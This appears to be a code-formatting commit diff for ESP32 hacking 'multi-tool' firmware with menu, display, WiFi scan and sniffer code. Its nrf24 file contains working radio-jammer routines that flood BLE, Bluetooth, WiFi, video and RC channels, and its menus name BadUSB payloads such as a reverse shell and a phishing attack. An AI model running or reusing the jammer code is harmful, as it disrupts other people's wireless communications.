@ -1,8 +1,8 @@
#include <Arduino.h>
#include <RF24.h>
#include "nrf24.h" #include "nrf24.h"
#include "../ui/display.h" #include "../ui/display.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include <Arduino.h>
#include <RF24.h>
#define JAM_DURATION 500 #define JAM_DURATION 500
extern SPIClass *RADIO_SPI; extern SPIClass *RADIO_SPI;
@ -11,24 +11,16 @@ extern RF24 radio2;
// ============ CHANNELS ============= // ============ CHANNELS =============
const byte bleChannels[] = {2, 26, 80}; const byte bleChannels[] = {2, 26, 80};
const byte bluetoothChannels[] = { const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6,
32, 34, 46, 48, 50, 52, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
0, 1, 2, 4, 6, 8, const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42,
22, 24, 26, 28, 30, 47, 52, 57, 62, 67, 72};
74, 76, 78, 80
};
const byte wifiChannels[] = {
12, 17, 22, 27, 32,
37, 42, 47, 52, 57,
62, 67, 72
};
const byte usbWireless_channels[] = {40, 50, 60}; const byte usbWireless_channels[] = {40, 50, 60};
const byte videoTransmitter_channels[] = {70, 75, 80}; const byte videoTransmitter_channels[] = {70, 75, 80};
const byte zigbee_channels[] = {11, 15, 20, 25}; const byte zigbee_channels[] = {11, 15, 20, 25};
const byte rc_channels[] = {1, 3, 5, 7}; const byte rc_channels[] = {1, 3, 5, 7};
void initNRF(RF24 &radio) void initNRF(RF24 &radio) {
{
if (!radio.begin(RADIO_SPI)) { if (!radio.begin(RADIO_SPI)) {
Serial.println("NRF not found"); Serial.println("NRF not found");
return; return;
@ -42,11 +34,8 @@ void initNRF(RF24 &radio)
radio.openWritingPipe(0xE7E7E7E7E7LL); radio.openWritingPipe(0xE7E7E7E7E7LL);
radio.setCRCLength(RF24_CRC_DISABLED); radio.setCRCLength(RF24_CRC_DISABLED);
Serial.println("NRF Initialized"); Serial.println("NRF Initialized");
} }
// void startBleJammer() { // void startBleJammer() {
// initNRF(radio1); // initNRF(radio1);
// initNRF(radio2); // initNRF(radio2);
@ -101,7 +90,8 @@ void initNRF(RF24 &radio)
// while(true) { // while(true) {
// //
// // Channels (you can change this set) // // Channels (you can change this set)
// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; // const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22,
// 24, 26, 28, 30, 74, 76, 78, 80};
// //
// //
// for (int i = 0; i < sizeof(channels); i++) { // for (int i = 0; i < sizeof(channels); i++) {
@ -119,8 +109,7 @@ void initNRF(RF24 &radio)
// } // }
// } // }
void startJammer(const char* name, const byte* channels, size_t channelCount) void startJammer(const char *name, const byte *channels, size_t channelCount) {
{
initNRF(radio1); initNRF(radio1);
initNRF(radio2); initNRF(radio2);
@ -135,10 +124,8 @@ void startJammer(const char* name, const byte* channels, size_t channelCount)
u8g2.drawStr(0, 55, "BACK = Exit"); u8g2.drawStr(0, 55, "BACK = Exit");
u8g2.sendBuffer(); u8g2.sendBuffer();
while (true) while (true) {
{ for (size_t i = 0; i < channelCount; i++) {
for (size_t i = 0; i < channelCount; i++)
{
// radio1.setChannel(channels[i]); // radio1.setChannel(channels[i]);
// radio1.write(&payload, sizeof(payload)); // radio1.write(&payload, sizeof(payload));
@ -146,7 +133,6 @@ void startJammer(const char* name, const byte* channels, size_t channelCount)
// radio2.setChannel(channels[i]); // radio2.setChannel(channels[i]);
// radio2.write(&payload, sizeof(payload)); // radio2.write(&payload, sizeof(payload));
radio1.setChannel(channels[i]); radio1.setChannel(channels[i]);
radio2.setChannel(channels[(i + 1) % channelCount]); radio2.setChannel(channels[(i + 1) % channelCount]);
@ -154,8 +140,7 @@ void startJammer(const char* name, const byte* channels, size_t channelCount)
radio2.writeFast(&payload, sizeof(payload)); radio2.writeFast(&payload, sizeof(payload));
} }
if (btnBack()) if (btnBack()) {
{
Serial.println("Jammer stopped"); Serial.println("Jammer stopped");
radio1.powerDown(); radio1.powerDown();
radio2.powerDown(); radio2.powerDown();
@ -178,7 +163,6 @@ void startJammer(const char* name, const byte* channels, size_t channelCount)
// delayMicroseconds(200); // delayMicroseconds(200);
//} //}
// if (btnBack()) // if (btnBack())
//{ //{
// Serial.println("Jammer stopped"); // Serial.println("Jammer stopped");
@ -196,51 +180,34 @@ void NRFToolsMenu(int index) {
case 0: case 0:
// startBleJammer(); // startBleJammer();
// BLE // BLE
startJammer( startJammer("BLE", bleChannels,
"BLE", sizeof(bleChannels) / sizeof(bleChannels[0]));
bleChannels,
sizeof(bleChannels) / sizeof(bleChannels[0])
);
break; break;
case 1: case 1:
// startBluetoothJammer(); // startBluetoothJammer();
// Bluetooth // Bluetooth
startJammer( startJammer("Bluetooth", bluetoothChannels,
"Bluetooth", sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]));
bluetoothChannels,
sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0])
);
break; break;
case 2: case 2:
startJammer( startJammer("WiFi", wifiChannels,
"WiFi", sizeof(wifiChannels) / sizeof(wifiChannels[0]));
wifiChannels,
sizeof(wifiChannels) / sizeof(wifiChannels[0])
);
break; break;
case 3: case 3:
startJammer( startJammer("USB Wireless", usbWireless_channels,
"USB Wireless", sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]));
usbWireless_channels,
sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0])
);
break; break;
case 4: case 4:
startJammer( startJammer("Video TX", videoTransmitter_channels,
"Video TX", sizeof(videoTransmitter_channels) /
videoTransmitter_channels, sizeof(videoTransmitter_channels[0]));
sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0])
);
break; break;
case 5: case 5:
break; break;
startJammer( startJammer("RC", rc_channels,
"RC", sizeof(rc_channels) / sizeof(rc_channels[0]));
rc_channels,
sizeof(rc_channels) / sizeof(rc_channels[0])
);
break; break;
case 6: case 6:

View File

@ -1,15 +1,10 @@
#include "display.h" #include "display.h"
#include <Wire.h>
#include "config.h" #include "config.h"
#include <Wire.h>
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);
U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2( void displayInit() {
U8G2_R0,
U8X8_PIN_NONE
);
void displayInit()
{
Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN);
u8g2.begin(); u8g2.begin();
u8g2.setFont(u8g2_font_6x12_tr); u8g2.setFont(u8g2_font_6x12_tr);

View File

@ -1,57 +1,42 @@
#include <Arduino.h>
#include "menu.h" #include "menu.h"
#include "display.h" #include "BleMouse.h"
#include "utils/buttons.h"
#include "hid/badusb.h"
#include "rf/nrf24.h"
#include "rf/cc1101.h"
#include "wifi/wifi_scan.h"
#include "wifi/wifi_analyzer.h"
#include "utils/device_check.h"
#include "bluetooth/ble_mouse.h" #include "bluetooth/ble_mouse.h"
#include "bluetooth/blescanner.h" #include "bluetooth/blescanner.h"
#include "utils/sysinfo.h" #include "display.h"
#include "BleMouse.h" #include "hid/badusb.h"
#include "nfc/nfc.h" #include "nfc/nfc.h"
#include "rf/cc1101.h"
#include "rf/nrf24.h"
#include "utils/buttons.h"
#include "utils/device_check.h"
#include "utils/sysinfo.h"
#include "wifi/wifi_analyzer.h"
#include "wifi/wifi_scan.h"
#include <Arduino.h>
// ================= MENU DATA ================= // ================= MENU DATA =================
extern BleMouse bleMouse; extern BleMouse bleMouse;
// Root menu // Root menu
const char *mainMenuItems[] = { const char *mainMenuItems[] = {"BadUSB", "RF Capture", "NRF Tools",
"BadUSB", "BLE Scan", "Wifi Scan", "Wifi Analyzer",
"RF Capture", "System Info", "Device Check", "Restart",
"NRF Tools", "Ble Mouse", "NFC Tools"};
"BLE Scan",
"Wifi Scan",
"Wifi Analyzer",
"System Info",
"Device Check",
"Restart",
"Ble Mouse",
"NFC Tools"
};
Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
Menu mainMenu = {mainMenuItems,
sizeof(mainMenuItems) / sizeof(mainMenuItems[0])};
// NRF Tools menu // NRF Tools menu
const char *nrfToolsItems[] = { const char *nrfToolsItems[] = {
"BLE Jammer", "BLE Jammer", "Bluetooth Jammer", "Wifi Jammer", "USB Wireless",
"Bluetooth Jammer", "Video TX", "Zigbee", "RC"
"Wifi Jammer",
"USB Wireless",
"Video TX",
"Zigbee",
"RC"
}; };
Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; Menu nrfToolsMenu = {nrfToolsItems,
sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])};
const char *badusbItems[] = {"ORION Demo",
const char *badusbItems[] = {
"ORION Demo",
"RickRoll", "RickRoll",
"Matrix Rain", "Matrix Rain",
"Fake Terminal", "Fake Terminal",
@ -64,8 +49,7 @@ const char *badusbItems[] = {
"PWN Reverse shell", "PWN Reverse shell",
"Phishing attack", "Phishing attack",
"Desktop Ghost", "Desktop Ghost",
"System Stresser" "System Stresser"};
};
Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])};
@ -82,8 +66,7 @@ bool insideFeature = false;
// ================= DRAW ================= // ================= DRAW =================
void drawMenu() void drawMenu() {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
// scroll handling // scroll handling
@ -93,8 +76,7 @@ void drawMenu()
if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS)
menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1;
for (int i = 0; i < MENU_VISIBLE_ROWS; i++) for (int i = 0; i < MENU_VISIBLE_ROWS; i++) {
{
int item = menuOffset + i; int item = menuOffset + i;
if (item >= currentMenu->size) if (item >= currentMenu->size)
@ -118,14 +100,11 @@ void drawMenu()
// ================= FEATURE EXECUTION ================= // ================= FEATURE EXECUTION =================
void launchFeature() void launchFeature() {
{
insideFeature = true; insideFeature = true;
if (currentMenu == &mainMenu) if (currentMenu == &mainMenu) {
{ switch (menuIndex) {
switch (menuIndex)
{
case 0: // BadUSB → enter submenu case 0: // BadUSB → enter submenu
currentMenu = &badusbMenu; currentMenu = &badusbMenu;
menuIndex = 0; menuIndex = 0;
@ -155,8 +134,7 @@ void launchFeature()
} }
break; break;
case 4: case 4: {
{
// Start scan once // Start scan once
wifi_scan_start(); wifi_scan_start();
wifi_scan_draw(); wifi_scan_draw();
@ -171,18 +149,15 @@ void launchFeature()
} }
break; break;
} }
case 5: case 5: {
{
wifi_analyzer_start(); wifi_analyzer_start();
bool prevBack = false; bool prevBack = false;
while (1) while (1) {
{
wifi_analyzer_loop(); wifi_analyzer_loop();
bool nowBack = btnBack(); bool nowBack = btnBack();
if (nowBack && !prevBack) if (nowBack && !prevBack) {
{
delay(150); delay(150);
break; break;
} }
@ -197,8 +172,7 @@ void launchFeature()
case 7: case 7:
device_check_run(); device_check_run();
break; break;
case 8: case 8: {
{
// wait for button release // wait for button release
delay(200); delay(200);
@ -206,24 +180,20 @@ void launchFeature()
delay(10); delay(10);
bool confirm = false; bool confirm = false;
while (1) while (1) {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x13_tr); u8g2.setFont(u8g2_font_6x13_tr);
u8g2.drawStr(18, 18, "Restart Device?"); u8g2.drawStr(18, 18, "Restart Device?");
if (confirm) if (confirm) {
{
u8g2.drawBox(10, 35, 45, 15); u8g2.drawBox(10, 35, 45, 15);
u8g2.setDrawColor(0); u8g2.setDrawColor(0);
u8g2.drawStr(20, 47, "YES"); u8g2.drawStr(20, 47, "YES");
u8g2.setDrawColor(1); u8g2.setDrawColor(1);
u8g2.drawStr(75, 47, "NO"); u8g2.drawStr(75, 47, "NO");
} } else {
else
{
u8g2.drawStr(20, 47, "YES"); u8g2.drawStr(20, 47, "YES");
u8g2.drawBox(65, 35, 45, 15); u8g2.drawBox(65, 35, 45, 15);
@ -234,45 +204,37 @@ void launchFeature()
u8g2.sendBuffer(); u8g2.sendBuffer();
if (btnLeft() || btnUp()) if (btnLeft() || btnUp()) {
{
confirm = true; confirm = true;
delay(150); delay(150);
} }
if (btnRight() || btnDown()) if (btnRight() || btnDown()) {
{
confirm = false; confirm = false;
delay(150); delay(150);
} }
if (btnSelect()) if (btnSelect()) {
{
delay(150); delay(150);
if (confirm) if (confirm) {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.drawStr(28, 30, "Restarting..."); u8g2.drawStr(28, 30, "Restarting...");
u8g2.sendBuffer(); u8g2.sendBuffer();
delay(1000); delay(1000);
ESP.restart(); ESP.restart();
} } else {
else
{
break; break;
} }
} }
if (btnBack()) if (btnBack()) {
{
delay(150); delay(150);
break; break;
} }
} }
} } break;
break;
case 9: case 9:
// Begin Ble mouse // Begin Ble mouse
@ -283,9 +245,7 @@ void launchFeature()
pn532_scan_loop(); pn532_scan_loop();
break; break;
} }
} } else if (currentMenu == &badusbMenu) {
else if (currentMenu == &badusbMenu)
{
badUSBMenu(menuIndex); badUSBMenu(menuIndex);
} else if (currentMenu == &nrfToolsMenu) { } else if (currentMenu == &nrfToolsMenu) {
NRFToolsMenu(menuIndex); NRFToolsMenu(menuIndex);
@ -298,8 +258,7 @@ void launchFeature()
// ================= INIT ================= // ================= INIT =================
void menuInit() void menuInit() {
{
currentMenu = &mainMenu; currentMenu = &mainMenu;
menuIndex = 0; menuIndex = 0;
menuOffset = 0; menuOffset = 0;
@ -309,8 +268,7 @@ void menuInit()
// ================= LOOP ================= // ================= LOOP =================
void menuLoop() void menuLoop() {
{
static uint32_t lastPress = 0; static uint32_t lastPress = 0;
if (insideFeature) if (insideFeature)
@ -319,8 +277,7 @@ void menuLoop()
if (millis() - lastPress < 150) if (millis() - lastPress < 150)
return; return;
if (btnUp()) if (btnUp()) {
{
menuIndex--; menuIndex--;
if (menuIndex < 0) if (menuIndex < 0)
@ -330,8 +287,7 @@ void menuLoop()
lastPress = millis(); lastPress = millis();
} }
else if (btnDown()) else if (btnDown()) {
{
menuIndex++; menuIndex++;
if (menuIndex >= currentMenu->size) if (menuIndex >= currentMenu->size)
@ -341,16 +297,13 @@ void menuLoop()
lastPress = millis(); lastPress = millis();
} }
else if (btnSelect()) else if (btnSelect()) {
{
launchFeature(); launchFeature();
lastPress = millis(); lastPress = millis();
} }
else if (btnBack()) else if (btnBack()) {
{ if (currentMenu != &mainMenu) {
if (currentMenu != &mainMenu)
{
currentMenu = &mainMenu; currentMenu = &mainMenu;
menuIndex = 0; menuIndex = 0;
menuOffset = 0; menuOffset = 0;

View File

@ -1,9 +1,8 @@
#include "buttons.h" #include "buttons.h"
#include <Arduino.h>
#include "../config.h" #include "../config.h"
#include <Arduino.h>
void buttonsInit() void buttonsInit() {
{
pinMode(BTN_UP, INPUT_PULLUP); pinMode(BTN_UP, INPUT_PULLUP);
pinMode(BTN_DOWN, INPUT_PULLUP); pinMode(BTN_DOWN, INPUT_PULLUP);
pinMode(BTN_SELECT, INPUT_PULLUP); pinMode(BTN_SELECT, INPUT_PULLUP);

View File

@ -1,17 +1,15 @@
#include <Arduino.h>
#include "../ui/display.h" #include "../ui/display.h"
#include "buttons.h" #include "buttons.h"
#include <Arduino.h>
#include <esp_chip_info.h> #include <esp_chip_info.h>
#include <esp_heap_caps.h> #include <esp_heap_caps.h>
void runSystemInfoFeature() void runSystemInfoFeature() {
{
esp_chip_info_t chip_info; esp_chip_info_t chip_info;
esp_chip_info(&chip_info); esp_chip_info(&chip_info);
while (true) while (true) {
{
// u8g2.clearBuffer(); // u8g2.clearBuffer();
// char buf[32]; // char buf[32];
@ -23,7 +21,6 @@ void runSystemInfoFeature()
// heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); // heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
// u8g2.drawStr(0, 28, buf); // u8g2.drawStr(0, 28, buf);
// u8g2.drawStr(0, 60, "BACK to exit"); // u8g2.drawStr(0, 60, "BACK to exit");
// Get RAM info // Get RAM info
@ -71,13 +68,13 @@ void runSystemInfoFeature()
// Box 5 - PSRAM (KB) // Box 5 - PSRAM (KB)
u8g2.drawFrame(0, 48, 128, 12); u8g2.drawFrame(0, 48, 128, 12);
sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); sprintf(buf, "PSRAM: %lu KB",
heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024);
u8g2.drawStr(4, 57, buf); u8g2.drawStr(4, 57, buf);
u8g2.sendBuffer(); u8g2.sendBuffer();
if (btnBack()) if (btnBack()) {
{
delay(200); delay(200);
return; return;
} }

View File

@ -24,17 +24,14 @@ struct SnifferGraph {
static SnifferGraph sniffer; static SnifferGraph sniffer;
// ===== CALLBACK ===== // ===== CALLBACK =====
void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) {
{ if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) {
if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL)
{
sniffer.packetCounter++; sniffer.packetCounter++;
} }
} }
// ===== INIT ===== // ===== INIT =====
void wifi_analyzer_start() void wifi_analyzer_start() {
{
// display init (safe to call again) // display init (safe to call again)
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
@ -64,26 +61,23 @@ void wifi_analyzer_start()
} }
// ===== HELPERS ===== // ===== HELPERS =====
static void switchChannel() static void switchChannel() {
{
sniffer.currentChannel++; sniffer.currentChannel++;
if (sniffer.currentChannel > 13) sniffer.currentChannel = 1; if (sniffer.currentChannel > 13)
sniffer.currentChannel = 1;
esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE);
} }
static void updateGraph(uint8_t value) static void updateGraph(uint8_t value) {
{ for (int i = 0; i < MAX_POINTS - 1; i++) {
for (int i = 0; i < MAX_POINTS - 1; i++)
{
sniffer.graphData[i] = sniffer.graphData[i + 1]; sniffer.graphData[i] = sniffer.graphData[i + 1];
} }
sniffer.graphData[MAX_POINTS - 1] = value; sniffer.graphData[MAX_POINTS - 1] = value;
} }
static void drawGraph(uint16_t pktCount) static void drawGraph(uint16_t pktCount) {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
@ -96,16 +90,14 @@ static void drawGraph(uint16_t pktCount)
u8g2.drawStr(0, 8, line1); u8g2.drawStr(0, 8, line1);
u8g2.drawStr(60, 8, line2); u8g2.drawStr(60, 8, line2);
for (int x = 1; x < GRAPH_WIDTH; x++) for (int x = 1; x < GRAPH_WIDTH; x++) {
{
int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1];
int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x];
u8g2.drawLine(x - 1, y1, x, y2); u8g2.drawLine(x - 1, y1, x, y2);
} }
if (pktCount >= SPIKE_THRESHOLD) if (pktCount >= SPIKE_THRESHOLD) {
{
u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT);
} }
@ -113,21 +105,18 @@ static void drawGraph(uint16_t pktCount)
} }
// ===== LOOP ===== // ===== LOOP =====
void wifi_analyzer_loop() void wifi_analyzer_loop() {
{
static uint32_t lastPress = 0; static uint32_t lastPress = 0;
unsigned long now = millis(); unsigned long now = millis();
// channel hopping // channel hopping
if (now - sniffer.lastChannelSwitch >= 1000) if (now - sniffer.lastChannelSwitch >= 1000) {
{
sniffer.lastChannelSwitch = now; sniffer.lastChannelSwitch = now;
switchChannel(); switchChannel();
} }
// graph update // graph update
if (now - sniffer.lastUpdate >= 200) if (now - sniffer.lastUpdate >= 200) {
{
sniffer.lastUpdate = now; sniffer.lastUpdate = now;
uint16_t pktCount = sniffer.packetCounter; uint16_t pktCount = sniffer.packetCounter;

View File

@ -1,7 +1,7 @@
#include <Arduino.h>
#include <WiFi.h>
#include "../ui/display.h" #include "../ui/display.h"
#include "../utils/buttons.h" #include "../utils/buttons.h"
#include <Arduino.h>
#include <WiFi.h>
#define MAX_NETWORKS 30 #define MAX_NETWORKS 30
@ -17,8 +17,7 @@ static int networkCount = 0;
static int selectedIndex = 0; static int selectedIndex = 0;
// ===== SCAN ===== // ===== SCAN =====
void wifi_scan_start() void wifi_scan_start() {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
u8g2.drawStr(10, 30, "Scanning WiFi..."); u8g2.drawStr(10, 30, "Scanning WiFi...");
u8g2.sendBuffer(); u8g2.sendBuffer();
@ -32,8 +31,7 @@ void wifi_scan_start()
networkCount = min(n, MAX_NETWORKS); networkCount = min(n, MAX_NETWORKS);
for (int i = 0; i < networkCount; i++) for (int i = 0; i < networkCount; i++) {
{
networks[i].ssid = WiFi.SSID(i); networks[i].ssid = WiFi.SSID(i);
networks[i].rssi = WiFi.RSSI(i); networks[i].rssi = WiFi.RSSI(i);
networks[i].channel = WiFi.channel(i); networks[i].channel = WiFi.channel(i);
@ -44,17 +42,13 @@ void wifi_scan_start()
} }
// ===== DRAW ===== // ===== DRAW =====
void wifi_scan_draw() void wifi_scan_draw() {
{
u8g2.clearBuffer(); u8g2.clearBuffer();
if (networkCount == 0) if (networkCount == 0) {
{
u8g2.drawStr(0, 30, "No networks"); u8g2.drawStr(0, 30, "No networks");
u8g2.drawStr(0, 45, "Press BACK"); u8g2.drawStr(0, 45, "Press BACK");
} } else {
else
{
char counter[20]; char counter[20];
sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); sprintf(counter, "%d/%d", selectedIndex + 1, networkCount);
u8g2.setFont(u8g2_font_5x8_tr); u8g2.setFont(u8g2_font_5x8_tr);
@ -62,15 +56,14 @@ void wifi_scan_draw()
u8g2.setFont(u8g2_font_6x10_tr); u8g2.setFont(u8g2_font_6x10_tr);
for (int i = 0; i < 3; i++) for (int i = 0; i < 3; i++) {
{
int idx = selectedIndex + i; int idx = selectedIndex + i;
if (idx >= networkCount) break; if (idx >= networkCount)
break;
int y = 22 + i * 14; int y = 22 + i * 14;
if (i == 0) if (i == 0) {
{
u8g2.drawBox(0, y - 10, 128, 12); u8g2.drawBox(0, y - 10, 128, 12);
u8g2.setDrawColor(0); u8g2.setDrawColor(0);
} }
@ -92,9 +85,9 @@ void wifi_scan_draw()
} }
// ===== DETAILS ===== // ===== DETAILS =====
void wifi_drawDetails() void wifi_drawDetails() {
{ if (networkCount == 0)
if (networkCount == 0) return; return;
WiFiNet &net = networks[selectedIndex]; WiFiNet &net = networks[selectedIndex];
@ -117,27 +110,21 @@ void wifi_drawDetails()
} }
// ===== LOOP ===== // ===== LOOP =====
void wifi_scan_loop() void wifi_scan_loop() {
{
static uint32_t lastPress = 0; static uint32_t lastPress = 0;
if (millis() - lastPress < 150) if (millis() - lastPress < 150)
return; return;
if (btnDown() && selectedIndex < networkCount - 1) if (btnDown() && selectedIndex < networkCount - 1) {
{
selectedIndex++; selectedIndex++;
wifi_scan_draw(); wifi_scan_draw();
lastPress = millis(); lastPress = millis();
} } else if (btnUp() && selectedIndex > 0) {
else if (btnUp() && selectedIndex > 0)
{
selectedIndex--; selectedIndex--;
wifi_scan_draw(); wifi_scan_draw();
lastPress = millis(); lastPress = millis();
} } else if (btnSelect() && networkCount > 0) {
else if (btnSelect() && networkCount > 0)
{
wifi_drawDetails(); wifi_drawDetails();
delay(3000); delay(3000);
wifi_scan_draw(); wifi_scan_draw();